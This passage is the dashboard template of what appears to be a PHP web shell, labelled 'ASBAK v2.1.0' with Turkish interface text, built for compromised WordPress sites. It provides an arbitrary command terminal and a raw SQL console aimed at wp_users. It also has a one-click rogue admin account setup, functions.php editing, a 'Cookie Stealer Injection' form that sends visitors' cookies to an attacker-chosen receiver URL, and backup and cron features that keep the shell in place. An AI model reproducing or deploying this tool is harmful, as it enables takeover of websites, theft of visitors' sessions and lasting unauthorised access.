.file-item a { color: var(--text-primary); text-decoration: none; }
.file-item a:hover { color: var(--accent); }
</style>
</head>
<body>
<!-- SIDEBAR -->
<div class="sidebar" id="sidebarNav">
    <div class="sidebar-logo">
        <div class="logo-icon"><i class="fas fa-fire"></i></div>
        <div>
            <span>ASBAK</span>
            <small>v2.1.0</small>
        </div>
    </div>
    <div class="sidebar-nav">
        <div class="sidebar-section">
            <div class="sidebar-section-title">Ana Modüller</div>
            <button class="nav-item <?php echo !isset($_GET['edit']) ? 'active' : ''; ?>" onclick="switchTab('files')"><i class="fas fa-folder-open"></i> Dosya Yöneticisi</button>
            <button class="nav-item <?php echo isset($_GET['edit']) ? 'active' : ''; ?>" onclick="switchTab('editor')"><i class="fas fa-code"></i> Editör</button>
            <button class="nav-item" onclick="switchTab('terminal')"><i class="fas fa-terminal"></i> Terminal</button>
            <button class="nav-item" onclick="switchTab('database')"><i class="fas fa-database"></i> Veritabanı</button>
            <button class="nav-item" onclick="switchTab('wordpress')"><i class="fab fa-wordpress"></i> WordPress</button>
        </div>
        <div class="sidebar-section">
            <div class="sidebar-section-title">Araçlar</div>
            <button class="nav-item" onclick="switchTab('bulk')"><i class="fas fa-layer-group"></i> Toplu İşlem</button>
            <button class="nav-item" onclick="switchTab('cookie')"><i class="fas fa-cookie-bite"></i> Cookie</button>
            <button class="nav-item" onclick="switchTab('grep')"><i class="fas fa-search"></i> Grep Arama</button>
        </div>
        <div class="sidebar-section">
            <div class="sidebar-section-title">Sistem</div>
            <button class="nav-item" onclick="switchTab('backups')"><i class="fas fa-shield-alt"></i> Yedekler</button>
            <button class="nav-item" onclick="switchTab('security')"><i class="fas fa-lock"></i> Güvenlik</button>
            <button class="nav-item" onclick="switchTab('restore')"><i class="fas fa-undo-alt"></i> Geri Yükle</button>
            <button class="nav-item" onclick="location.href='?logout=1'"><i class="fas fa-sign-out-alt"></i> Çıkış</button>
        </div>
    </div>
</div>

<!-- MAIN CONTENT -->
<div class="main-content">
    <div class="topbar">
        <div class="topbar-left">
            <button onclick="document.getElementById('sidebarNav').classList.toggle('open')" class="btn btn-ghost btn-sm" style="display:none;" id="menuToggle"><i class="fas fa-bars"></i></button>
            <span class="topbar-title">Dashboard</span>
        </div>
        <div class="topbar-right">
            <span class="topbar-badge wp"><?php echo $is_wordpress ? '✓ WordPress' : 'Non-WP'; ?></span>
            <span class="topbar-badge php"><i class="fab fa-php"></i> <?php echo phpversion(); ?></span>
            <span style="font-size:12px;color:var(--text-muted);"><span class="live-dot"></span>LIVE</span>
        </div>
    </div>
    <div class="page-content">

    <?php if ($msg): ?>
        <div class="message <?php echo $msg_type; ?>">
            <?php echo $msg; ?>
        </div>
    <?php endif; ?>
    
    <!-- FILES TAB -->
    <div id="files" class="tab-content <?php echo !isset($_GET['edit']) ? 'active' : ''; ?>">
        <div class="card">
            <h3><i class="fas fa-folder-open"></i> File Manager</h3>
            <div style="margin-bottom: 15px;">
                <?php echo buildBreadcrumb($current_path, $token, $root_limit); ?>
            </div>
            
            <form method="get" style="display: flex; gap: 10px; margin-bottom: 15px; flex-wrap: wrap;">
                <input type="hidden" name="path" value="<?php echo urlencode($current_path); ?>">
                <select name="sort" style="width: auto;">
                    <option value="date" <?php echo $sort_by === 'date' ? 'selected' : ''; ?>>📅 Date</option>
                    <option value="name" <?php echo $sort_by === 'name' ? 'selected' : ''; ?>>🔤 Name</option>
                    <option value="size" <?php echo $sort_by === 'size' ? 'selected' : ''; ?>>📊 Size</option>
                </select>
                <select name="order" style="width: auto;">
                    <option value="desc" <?php echo $sort_order === 'desc' ? 'selected' : ''; ?>>⬇️ Desc</option>
                    <option value="asc" <?php echo $sort_order === 'asc' ? 'selected' : ''; ?>>⬆️ Asc</option>
                </select>
                <select name="filter" style="width: auto;">
                    <option value="all">All</option>
                    <option value="php" <?php echo $filter_type === 'php' ? 'selected' : ''; ?>>PHP</option>
                    <option value="image" <?php echo $filter_type === 'image' ? 'selected' : ''; ?>>Images</option>
                    <option value="text" <?php echo $filter_type === 'text' ? 'selected' : ''; ?>>Text</option>
                </select>
                <input type="text" name="search" placeholder="🔍 Search..." value="<?php echo htmlspecialchars($search_term); ?>" style="flex: 1;">
                <button type="submit" class="btn">Filter</button>
            </form>
            
            <?php if ($show_up): ?>
                <a href="?path=<?php echo urlencode(dirname($current_path)); ?>" class="btn" style="margin-bottom: 15px;">⬆️ Up</a>
            <?php endif; ?>
            
            <div style="display: flex; gap: 10px; margin-bottom: 15px; flex-wrap: wrap; align-items: center;">
                <form method="post" enctype="multipart/form-data" style="display: inline-block; margin: 0;">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <input type="file" name="file_upload" style="width: auto; display: inline-block;">
                    <button type="submit" name="upload_file" class="btn">📤 Upload</button>
                </form>
                <button type="button" class="btn" onclick="showCreateFileModal()" style="background: var(--success);">📄 New File</button>
                <button type="button" class="btn" onclick="showCreateFolderModal()" style="background: var(--success);">📁 New Folder</button>
            </div>
            
            <!-- Drag & Drop Upload Area -->
            <div id="dropZone" style="border: 3px dashed var(--border); border-radius: 12px; padding: 40px; text-align: center; background: rgba(16, 185, 129, 0.05); margin-bottom: 20px; cursor: pointer; transition: all 0.3s;" ondrop="handleDrop(event)" ondragover="handleDragOver(event)" ondragleave="handleDragLeave(event)">
                <i class="fas fa-cloud-upload-alt" style="font-size: 48px; color: var(--accent); margin-bottom: 10px;"></i>
                <h3 style="color: var(--accent); margin: 10px 0;">Drag & Drop Files Here</h3>
                <p style="color: var(--text-muted); font-size: 13px;">or click to select files</p>
                <form method="post" enctype="multipart/form-data" id="dragDropForm" style="display: none;">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <input type="file" name="drag_drop_files[]" id="dragDropInput" multiple>
                    <input type="hidden" name="drag_drop_upload" value="1">
                </form>
            </div>
            
            <form method="post" id="bulkForm">
                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                <div style="margin-bottom: 15px; display: flex; gap: 10px; flex-wrap: wrap;">
                    <button type="button" class="btn" onclick="selectAll()">✅ Select All</button>
                    <button type="button" class="btn" onclick="unselectAll()">❌ Unselect All</button>
                    <button type="submit" name="bulk_delete" class="btn" style="background: var(--danger);" onclick="return confirm('Seçili dosyaları sil?');">🗑️ Delete Selected</button>
                    <button type="button" class="btn" onclick="showBulkCopy()">📋 Copy Selected</button>
                    <button type="button" class="btn" onclick="showBulkMove()">📦 Move Selected</button>
                </div>
                
                <div class="file-item" style="font-weight: bold; background: var(--bg-card); border: 2px solid var(--accent);">
                    <div style="width: 30px;"><input type="checkbox" onclick="toggleAll(this);"></div>
                    <div style="flex: 1; color: var(--text-primary); cursor: pointer; user-select: none;" onclick="sortColumn('name')" title="Click to sort by name">
                        Name <?php if ($sort_by === 'name'): ?><?php echo $sort_order === 'asc' ? '↑' : '↓'; ?><?php endif; ?>
                    </div>
                    <div style="width: 100px; color: var(--text-primary); cursor: pointer; user-select: none;" onclick="sortColumn('size')" title="Click to sort by size">
                        Size <?php if ($sort_by === 'size'): ?><?php echo $sort_order === 'asc' ? '↑' : '↓'; ?><?php endif; ?>
                    </div>
                    <div style="width: 150px; color: var(--text-primary); cursor: pointer; user-select: none;" onclick="sortColumn('date')" title="Click to sort by date">
                        Modified <?php if ($sort_by === 'date'): ?><?php echo $sort_order === 'asc' ? '↑' : '↓'; ?><?php endif; ?>
                    </div>
                    <div style="width: 100px; color: var(--text-primary);">Perms</div>
                    <div style="width: 300px; color: var(--text-primary);">Actions</div>
                </div>
                
                <?php foreach ($files_data as $file_data): ?>
                    <div class="file-item">
                        <div style="width: 30px;">
                            <input type="checkbox" name="selected_files[]" value="<?php echo htmlspecialchars($file_data['path']); ?>" class="file-checkbox">
                        </div>
                        <div style="flex: 1;">
                            <?php if ($file_data['is_dir']): ?>
                                <i class="fas fa-folder" style="color: var(--cyan); margin-right: 8px;"></i>
                                <a href="?path=<?php echo urlencode($file_data['path']); ?>" style="color: var(--cyan); text-decoration: none; font-weight: 500;">
                                    <?php echo htmlspecialchars($file_data['name']); ?>
                                </a>
                            <?php else: ?>
                                <i class="fas fa-file" style="color: var(--accent); margin-right: 8px;"></i>
                                <span style="color: var(--text-primary);"><?php echo htmlspecialchars($file_data['name']); ?></span>
                            <?php endif; ?>
                        </div>
                        <div style="width: 100px; color: var(--text-secondary);">
                            <?php echo $file_data['is_dir'] ? '-' : number_format($file_data['size']); ?>
                        </div>
                        <div style="width: 150px; color: var(--text-secondary);">
                            <?php echo date('Y-m-d H:i', $file_data['time']); ?>
                        </div>
                        <div style="width: 100px; color: var(--text-secondary);">
                            <?php 
                            $perms = substr(sprintf('%o', fileperms($file_data['path'])), -4);
                            echo $perms;
                            ?>
                        </div>
                        <div style="width: 300px; display: flex; gap: 5px; flex-wrap: wrap;">
                            <form method="post" style="display: inline;">
                                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                                <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($file_data['path']); ?>">
                                <button type="submit" name="edit_file" class="btn" style="padding: 5px 10px; font-size: 12px;" title="Edit">✏️</button>
                            </form>
                            <button type="button" class="btn" style="padding: 5px 10px; font-size: 12px;" onclick="showRenameModal('<?php echo htmlspecialchars($file_data['path']); ?>', '<?php echo htmlspecialchars($file_data['name']); ?>')" title="Rename">✏️📝</button>
                            <a href="?download=1&file=<?php echo urlencode($file_data['path']); ?>" class="btn" style="padding: 5px 10px; font-size: 12px; text-decoration: none; display: inline-block;" title="Download">⬇️</a>
                            <button type="button" class="btn" style="padding: 5px 10px; font-size: 12px;" onclick="showChmod('<?php echo htmlspecialchars($file_data['path']); ?>', '<?php echo $perms; ?>')" title="Change Permissions">🔒</button>
                            <form method="post" style="display: inline;" onsubmit="return confirm('Delete?');">
                                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                                <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($file_data['path']); ?>">
                                <button type="submit" name="delete_file" class="btn" style="padding: 5px 10px; font-size: 12px; background: var(--danger);" title="Delete">🗑️</button>
                            </form>
                        </div>
                    </div>
                <?php endforeach; ?>
            </form>
            
            <!-- CHMOD Modal -->
            <div id="chmodModal" class="modal">
                <div class="modal-content">
                    <h4>🔒 Change Permissions</h4>
                    <form method="post">
                        <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                        <input type="hidden" name="file_path" id="chmod_file_path">
                        <input type="text" name="chmod_mode" id="chmod_mode" placeholder="e.g., 0644" style="margin-bottom: 15px;">
                        <div style="display: flex; gap: 10px;">
                            <button type="submit" name="chmod_file" class="btn">💾 Save</button>
                            <button type="button" class="btn" onclick="document.getElementById('chmodModal').style.display='none';" style="background: var(--danger);">Cancel</button>
                        </div>
                    </form>
                </div>
            </div>
            
            <!-- Bulk Copy/Move Modal -->
            <div id="bulkModal" class="modal">
                <div class="modal-content">
                    <h4 id="bulkModalTitle">📦 Bulk Operation</h4>
                    <form method="post" id="bulkOperationForm">
                        <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                        <input type="hidden" name="bulk_action" id="bulk_action">
                        <div id="selectedFilesList" style="max-height: 200px; overflow-y: auto; margin-bottom: 15px; padding: 12px; background: var(--bg-primary); border-radius: 6px; border: 1px solid var(--border); font-size: 13px; color: var(--text-muted);"></div>
                        <input type="text" name="target_dir" placeholder="Target directory path" value="<?php echo htmlspecialchars($current_path); ?>" style="margin-bottom: 15px;">
                        <div style="display: flex; gap: 10px;">
                            <button type="submit" class="btn" id="bulkSubmitBtn">Execute</button>
                            <button type="button" class="btn" onclick="document.getElementById('bulkModal').style.display='none';" style="background: var(--danger);">Cancel</button>
                        </div>
                    </form>
                </div>
            </div>
            
            <!-- Create File Modal -->
            <div id="createFileModal" class="modal">
                <div class="modal-content">
                    <h4>📄 Create New File</h4>
                    <form method="post">
                        <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                        <input type="text" name="file_name" placeholder="File name (e.g., example.php)" required style="margin-bottom: 15px;">
                        <div style="display: flex; gap: 10px;">
                            <button type="submit" name="create_file" class="btn">💾 Create</button>
                            <button type="button" class="btn" onclick="document.getElementById('createFileModal').style.display='none';" style="background: var(--danger);">Cancel</button>
                        </div>
                    </form>
                </div>
            </div>
            
            <!-- Create Folder Modal -->
            <div id="createFolderModal" class="modal">
                <div class="modal-content">
                    <h4>📁 Create New Folder</h4>
                    <form method="post">
                        <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                        <input type="text" name="folder_name" placeholder="Folder name" required style="margin-bottom: 15px;">
                        <div style="display: flex; gap: 10px;">
                            <button type="submit" name="create_folder" class="btn">💾 Create</button>
                            <button type="button" class="btn" onclick="document.getElementById('createFolderModal').style.display='none';" style="background: var(--danger);">Cancel</button>
                        </div>
                    </form>
                </div>
            </div>
            
            <!-- Rename Modal -->
            <div id="renameModal" class="modal">
                <div class="modal-content">
                    <h4>✏️ Rename File/Folder</h4>
                    <form method="post">
                        <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                        <input type="hidden" name="old_path" id="rename_old_path">
                        <input type="text" name="new_name" id="rename_new_name" placeholder="New name" required style="margin-bottom: 15px;">
                        <div style="display: flex; gap: 10px;">
                            <button type="submit" name="rename_file" class="btn">💾 Rename</button>
                            <button type="button" class="btn" onclick="document.getElementById('renameModal').style.display='none';" style="background: var(--danger);">Cancel</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
    
    <!-- EDITOR TAB -->
    <div id="editor" class="tab-content <?php echo isset($_GET['edit']) ? 'active' : ''; ?>">
        <div class="card">
            <h3><i class="fas fa-code"></i> Advanced File Editor (Ace Editor)</h3>
            <?php if ($edit_file): ?>
                <form method="post" id="editorForm">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($edit_file); ?>">
                    <p style="color: var(--text-secondary); margin-bottom: 15px;"><strong>Editing:</strong> <span style="color: var(--text-primary);"><?php echo htmlspecialchars($edit_file); ?></span></p>
                    <div id="ace-editor" style="height: 600px; width: 100%; border: 1px solid var(--border); border-radius: 6px;"></div>
                    <textarea name="file_content" id="file_content" style="display: none;"><?php echo htmlspecialchars($edit_content); ?></textarea>
                    <div style="margin-top: 15px; display: flex; gap: 10px;">
                        <button type="submit" name="save_file" class="btn">💾 Save</button>
                        <a href="?path=<?php echo urlencode($current_path); ?>" class="btn" style="background: var(--danger);">❌ Cancel</a>
                    </div>
                </form>
                <script>
                    function initAceEditor() {
                        var editorDiv = document.getElementById('ace-editor');
                        if (!editorDiv) {
                            setTimeout(initAceEditor, 100);
                            return;
                        }
                        
                        if (typeof ace !== 'undefined' && ace.edit) {
                            try {
                                var editor = ace.edit("ace-editor");
                                editor.setTheme("ace/theme/monokai");
                                var ext = '<?php echo pathinfo($edit_file, PATHINFO_EXTENSION); ?>';
                                var mode = 'text';
                                if (ext === 'php') mode = 'php';
                                else if (ext === 'js') mode = 'javascript';
                                else if (ext === 'css') mode = 'css';
                                else if (ext === 'html' || ext === 'htm') mode = 'html';
                                else if (ext === 'json') mode = 'json';
                                else if (ext === 'sql') mode = 'sql';
                                else if (ext === 'py') mode = 'python';
                                else if (ext === 'xml') mode = 'xml';
                                else if (ext === 'sh' || ext === 'bash') mode = 'sh';
                                
                                editor.session.setMode("ace/mode/" + mode);
                                
                                var content = document.getElementById('file_content').value;
                                editor.setValue(content || '');
                                editor.clearSelection();
                                editor.setFontSize(14);
                                editor.setReadOnly(false);
                                editor.setOptions({
                                    enableBasicAutocompletion: true,
                                    enableSnippets: true,
                                    enableLiveAutocompletion: false,
                                    showPrintMargin: false,
                                    wrap: true,
                                    useWorker: false
                                });
                                
                                setTimeout(function() {
                                    editor.focus();
                                    editor.navigateFileStart();
                                }, 100);
                                
                                document.getElementById('editorForm').onsubmit = function() {
                                    document.getElementById('file_content').value = editor.getValue();
                                    return true;
                                };
                            } catch(e) {
                                console.error('Ace Editor error:', e);
                                fallbackEditor();
                            }
                        } else {
                            console.error('Ace Editor not loaded!');
                            fallbackEditor();
                        }
                    }
                    
                    function fallbackEditor() {
                        var content = document.getElementById('file_content').value;
                        document.getElementById('ace-editor').innerHTML = '<textarea name="file_content" id="file_content_fallback" style="width: 100%; height: 600px; background: var(--bg-primary); color: var(--text-primary); border: 1px solid var(--border); border-radius: 6px; padding: 15px; font-family: monospace; font-size: 14px;">' + content + '</textarea>';
                        document.getElementById('file_content').value = document.getElementById('file_content_fallback').value;
                        document.getElementById('file_content_fallback').addEventListener('input', function() {
                            document.getElementById('file_content').value = this.value;
                        });
                    }
                    
                    if (document.readyState === 'loading') {
                        document.addEventListener('DOMContentLoaded', initAceEditor);
                    } else {
                        initAceEditor();
                    }
                </script>
            <?php else: ?>
                <p style="color: var(--text-muted);">Select a file to edit from Files tab.</p>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- TERMINAL TAB -->
    <div id="terminal" class="tab-content">
        <div class="card">
            <h3><i class="fas fa-terminal"></i> Terminal</h3>
            <form method="post">
                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                <input type="text" name="terminal_cmd" placeholder="Enter command..." style="font-family: monospace;">
                <button type="submit" class="btn">▶️ Execute</button>
            </form>
            <?php if ($output): ?>
                <div class="output-box"><?php echo htmlspecialchars($output); ?></div>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- DATABASE TAB -->
    <div id="database" class="tab-content">
        <div class="card">
            <h3><i class="fas fa-database"></i> Database Manager</h3>
            <?php if ($db_connection): ?>
                <form method="post">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <textarea name="db_query" rows="5" placeholder="SELECT * FROM wp_users LIMIT 10;" style="font-family: monospace;"></textarea>
                    <button type="submit" name="execute_query" class="btn">▶️ Execute Query</button>
                </form>
                <?php if ($output): ?>
                    <div class="output-box"><?php echo htmlspecialchars($output); ?></div>
                <?php endif; ?>
            <?php else: ?>
                <p>❌ Database connection not available</p>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- WORDPRESS TAB -->
    <?php if ($is_wordpress): ?>
    <div id="wordpress" class="tab-content">
        <div class="card">
            <h3><i class="fab fa-wordpress"></i> WordPress Management</h3>
            
            <form method="post" style="margin-bottom: 20px;">
                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                <button type="submit" name="setup_admin" class="btn">👤 Setup Admin User</button>
            </form>
            
            <form method="post" style="margin-bottom: 20px;">
                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                <button type="submit" name="run_wpsetup" class="btn" style="background: var(--success);"><i class="fas fa-rocket"></i> WP Admin Setup</button>
            </form>
            <p style="color: var(--text-muted); font-size: 12px; margin-bottom: 20px;">
                WordPress admin paneline otomatik giriş yapar ve admin kullanıcısını oluşturur/günceller.
            </p>
            
            <?php if ($wp_functions_file): ?>
                <h4>Functions.php Editor</h4>
                <form method="post">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <textarea name="functions_content" rows="15" style="font-family: monospace;"><?php echo htmlspecialchars(@file_get_contents($wp_functions_file)); ?></textarea>
                    <button type="submit" name="save_functions" class="btn">💾 Save Functions.php</button>
                </form>
            <?php endif; ?>
            
            <?php if ($wp_options_file): ?>
                <h4>Options.php Editor</h4>
                <form method="post">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <textarea name="options_content" rows="15" style="font-family: monospace;"><?php echo htmlspecialchars(@file_get_contents($wp_options_file)); ?></textarea>
                    <button type="submit" name="save_options" class="btn">💾 Save Options.php</button>
                </form>
            <?php endif; ?>
        </div>
    </div>
    <?php else: ?>
    <div id="wordpress" class="tab-content">
        <div class="card">
            <h3><i class="fab fa-wordpress"></i> WordPress Management</h3>
            <p style="color: var(--text-muted);">❌ WordPress bu dizinde tespit edilemedi.</p>
        </div>
    </div>
    <?php endif; ?>
    
    <!-- BULK OPERATIONS TAB -->
    <div id="bulk" class="tab-content">
        <div class="card">
            <h3><i class="fas fa-layer-group"></i> Bulk Operations</h3>
            <p>Files tab'ından dosyaları seçip burada toplu işlemler yapabilirsiniz.</p>
            <div style="background: rgba(255, 140, 0, 0.1); padding: 15px; border-radius: 8px; margin-bottom: 20px;">
                <h4>Kullanım:</h4>
                <ol>
                    <li>Files tab'ına gidin</li>
                    <li>İşlem yapmak istediğiniz dosyaları seçin (checkbox)</li>
                    <li>İstediğiniz işlemi seçin (Delete, Copy, Move)</li>
                </ol>
            </div>
        </div>
    </div>
    
    <!-- COOKIE TAB -->
    <div id="cookie" class="tab-content">
        <div class="card">
            <h3><i class="fas fa-cookie"></i> Cookie Stealer Injection</h3>
            <?php if ($is_wordpress): ?>
                <form method="post">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <input type="text" name="cookie_receiver_url" placeholder="Receiver URL" value="" style="margin-bottom: 10px;">
                    <button type="submit" name="inject_cookie_stealer" class="btn">🍪 Inject Cookie Stealer</button>
                </form>
            <?php else: ?>
                <p>❌ WordPress not detected</p>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- BACKUPS TAB -->
    <div id="backups" class="tab-content">
        <div class="card">
            <h3><i class="fas fa-database"></i> Auto Backup System</h3>
            
            <?php if ($auto_backup_config_data['enabled']): ?>
                <div style="background: rgba(40, 167, 69, 0.1); padding: 15px; border-radius: 8px; margin-bottom: 20px; border: 2px solid var(--success);">
                    <strong>✅ Auto Backup Active</strong><br>
                    <small>Interval: <?php echo ($auto_backup_config_data['interval'] / 60); ?> dakika</small><br>
                    <?php if (isset($auto_backup_config_data['last_backup']) && $auto_backup_config_data['last_backup'] > 0): ?>
                        <small>Last Backup: <?php echo date('Y-m-d H:i:s', $auto_backup_config_data['last_backup']); ?></small><br>
                        <?php if (isset($auto_backup_config_data['last_count'])): ?>
                            <small>Last Backup Count: <?php echo $auto_backup_config_data['last_count']; ?> files</small>
                        <?php endif; ?>
                    <?php endif; ?>
                </div>
                <form method="post">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <button type="submit" name="disable_auto_backup" class="btn" style="background: var(--danger);">⏹️ Disable Auto Backup</button>
                </form>
            <?php else: ?>
                <form method="post">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <label style="display: block; margin-bottom: 10px; color: var(--text-secondary);">
                        Backup Interval (minutes):
                        <input type="number" name="backup_interval" value="5" min="1" max="60" style="width: 100px; margin-left: 10px;">
                    </label>
                    <button type="submit" name="enable_auto_backup" class="btn" style="background: var(--success);">▶️ Enable Auto Backup</button>
                </form>
            <?php endif; ?>
            
            <div style="background: rgba(16, 185, 129, 0.1); padding: 15px; border-radius: 8px; margin-bottom: 20px; border: 1px solid var(--accent);">
                <strong>📋 Cron Job URL:</strong><br>
                <code style="background: var(--bg-primary); padding: 5px 10px; border-radius: 4px; display: inline-block; margin-top: 5px; color: var(--text-primary);">
                    <?php echo (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; ?>?cron=backup
                </code><br>
                <small style="color: var(--text-muted);">Bu URL'yi cron job olarak 5 dakikada bir çalıştırın: <code>*/5 * * * * curl "URL"</code></small>
            </div>
            
            <h4 style="margin-top: 30px;">📦 File Backups (<?php echo count($backups); ?>)</h4>
            <p style="color: var(--text-muted); font-size: 13px; margin-bottom: 15px;">
                Backup dosyaları korumalıdır ve otomatik olarak silinemez. Manuel olarak silebilirsiniz.
            </p>
            
            <div style="max-height: 500px; overflow-y: auto;">
                <?php foreach ($backups as $backup): ?>
                    <div class="file-item">
                        <div style="flex: 1;">
                            <strong style="color: var(--text-primary);"><?php echo htmlspecialchars($backup['name']); ?></strong><br>
                            <small style="color: var(--text-muted);">
                                Original: <?php echo htmlspecialchars($backup['original']); ?><br>
                                Date: <?php echo $backup['date']; ?> | Size: <?php echo number_format($backup['size']); ?> bytes
                            </small>
                        </div>
                        <div style="display: flex; gap: 5px; flex-wrap: wrap;">
                            <form method="post" style="display: inline;">
                                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                                <input type="hidden" name="backup_file" value="<?php echo htmlspecialchars($backup['file']); ?>">
                                <input type="hidden" name="original_file" value="<?php echo htmlspecialchars($script_dir . '/' . $backup['original']); ?>">
                                <button type="submit" name="restore_backup" class="btn" style="padding: 5px 10px; font-size: 12px; background: var(--success);">🔄 Restore</button>
                            </form>
                            <form method="post" style="display: inline;" onsubmit="return confirm('Bu backup\'ı silmek istediğinizden emin misiniz?');">
                                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                                <input type="hidden" name="backup_file" value="<?php echo htmlspecialchars($backup['file']); ?>">
                                <button type="submit" name="delete_backup" class="btn" style="padding: 5px 10px; font-size: 12px; background: var(--danger);">🗑️ Delete</button>
                            </form>
                        </div>
                    </div>
                <?php endforeach; ?>
                
                <?php if (empty($backups)): ?>
                    <p style="color: var(--text-muted); text-align: center; padding: 20px;">Henüz backup yok</p>
                <?php endif; ?>
            </div>
        </div>
    </div>
    
    <!-- GREP SEARCH TAB -->
    <div id="grep" class="tab-content">
        <div class="card">
            <h3><i class="fas fa-search"></i> File Content Search (Grep)</h3>
            <form method="post">
                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                <input type="text" name="grep_term" placeholder="Search term..." required style="margin-bottom: 10px;">
                <input type="text" name="grep_path" placeholder="Search path (leave empty for current directory)" value="<?php echo htmlspecialchars($current_path); ?>" style="margin-bottom: 10px;">
                <input type="text" name="grep_extensions" placeholder="File extensions (comma separated, e.g., php,js,html) - leave empty for all" style="margin-bottom: 10px;">
                <button type="submit" name="grep_search" class="btn">🔍 Search</button>
            </form>
            
            <?php if (isset($_SESSION['grep_results']) && !empty($_SESSION['grep_results'])): ?>
                <div style="margin-top: 20px;">
                    <h4>Search Results for "<?php echo htmlspecialchars($_SESSION['grep_term']); ?>" (<?php echo count($_SESSION['grep_results']); ?> files):</h4>
                    <div style="max-height: 600px; overflow-y: auto;">
                        <?php foreach ($_SESSION['grep_results'] as $result): ?>
                            <div class="file-item" style="margin-bottom: 15px;">
                                <div style="margin-bottom: 10px;">
                                    <strong style="color: var(--accent);">📄 <?php echo htmlspecialchars($result['name']); ?></strong><br>
                                    <small style="color: var(--text-muted);"><?php echo htmlspecialchars($result['file']); ?></small>
                                </div>
                                <div style="background: var(--bg-primary); padding: 10px; border-radius: 6px; font-family: monospace; font-size: 12px;">
                                    <?php foreach ($result['matches'] as $match): ?>
                                        <div style="margin-bottom: 5px;">
                                            <span style="color: var(--accent);">Line <?php echo $match['line']; ?>:</span>
                                            <span style="color: var(--text-primary);"><?php echo htmlspecialchars($match['content']); ?></span>
                                        </div>
                                    <?php endforeach; ?>
                                </div>
                            </div>
                        <?php endforeach; ?>
                    </div>
                </div>
                <?php unset($_SESSION['grep_results']); unset($_SESSION['grep_term']); ?>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- SECURITY TAB -->
    <div id="security" class="tab-content">
        <div class="card">
            <h3><i class="fas fa-shield-alt"></i> IP Whitelist</h3>
            
            <form method="post" style="margin-bottom: 20px;">
                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                <input type="text" name="ip_address" placeholder="IP Address" style="margin-bottom: 10px;">
                <button type="submit" name="add_ip_whitelist" class="btn">➕ Add IP</button>
            </form>
            
            <h4>Current Whitelist:</h4>
            <ul>
                <?php foreach ($whitelist as $ip): ?>
                    <li style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 10px;">
                        <span><?php echo htmlspecialchars($ip); ?></span>
                        <form method="post" style="display: inline;">
                            <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                            <input type="hidden" name="ip_to_remove" value="<?php echo htmlspecialchars($ip); ?>">
                            <button type="submit" name="remove_ip_whitelist" class="btn" style="padding: 5px 10px; font-size: 12px; background: var(--danger);">Remove</button>
                        </form>
                    </li>
                <?php endforeach; ?>
            </ul>
        </div>
    </div>
    
    <!-- RESTORE TAB -->
    <div id="restore" class="tab-content">
        <div class="card">
            <h3><i class="fas fa-redo"></i> Snapshot & Restore</h3>
            
            <form method="post" style="margin-bottom: 20px;">
                <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                <input type="text" name="snapshot_name" placeholder="Snapshot name" value="<?php echo date('Y-m-d_H-i-s'); ?>" style="margin-bottom: 10px;">
                <button type="submit" name="create_snapshot" class="btn">📸 Create Snapshot</button>
            </form>
            
            <h4>Available Snapshots:</h4>
            <?php foreach ($snapshots as $snapshot): ?>
                <div class="file-item">
                    <div style="flex: 1;">
                        <strong><?php echo htmlspecialchars($snapshot['name']); ?></strong><br>
